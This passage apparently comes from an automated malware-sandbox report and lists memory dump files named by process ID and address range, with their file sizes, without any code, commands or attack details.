                                                                          • memory/2772-158-0x0000000008310000-0x00000000083B3000-memory.dmp

                                                                            Filesize

                                                                            652KB

                                                                          • memory/2772-169-0x0000000008C40000-0x0000000008D7B000-memory.dmp

                                                                            Filesize

                                                                            1.2MB

                                                                          • memory/3504-164-0x00000285EDE40000-0x00000285EDEE3000-memory.dmp

                                                                            Filesize

                                                                            652KB

                                                                          • memory/3812-165-0x000002996BB90000-0x000002996BC33000-memory.dmp

                                                                            Filesize

                                                                            652KB

                                                                          • memory/4068-167-0x000001FC36CE0000-0x000001FC36D83000-memory.dmp

                                                                            Filesize

                                                                            652KB

                                                                          • memory/4088-140-0x00007FFA49F10000-0x00007FFA4A9D1000-memory.dmp

                                                                            Filesize

                                                                            10.8MB

                                                                          • memory/4088-139-0x000002EA39510000-0x000002EA39532000-memory.dmp

                                                                            Filesize

                                                                            136KB

                                                                          • memory/4088-156-0x00007FFA49F10000-0x00007FFA4A9D1000-memory.dmp

                                                                            Filesize

                                                                            10.8MB

                                                                          • memory/4088-157-0x000002EA3AF40000-0x000002EA3AF7D000-memory.dmp

                                                                            Filesize

                                                                            244KB

                                                                          • memory/4104-166-0x000001C4F9750000-0x000001C4F97F3000-memory.dmp

                                                                            Filesize

                                                                            652KB

                                                                          • memory/4668-134-0x0000000002D50000-0x0000000002D5D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/4668-131-0x0000000000400000-0x000000000046F000-memory.dmp

                                                                            Filesize

                                                                            444KB

                                                                          • memory/4668-133-0x00000000011C0000-0x00000000011C6000-memory.dmp

                                                                            Filesize

                                                                            24KB

                                                                          • memory/4728-163-0x0000025847620000-0x00000258476C3000-memory.dmp

                                                                            Filesize

                                                                            652KB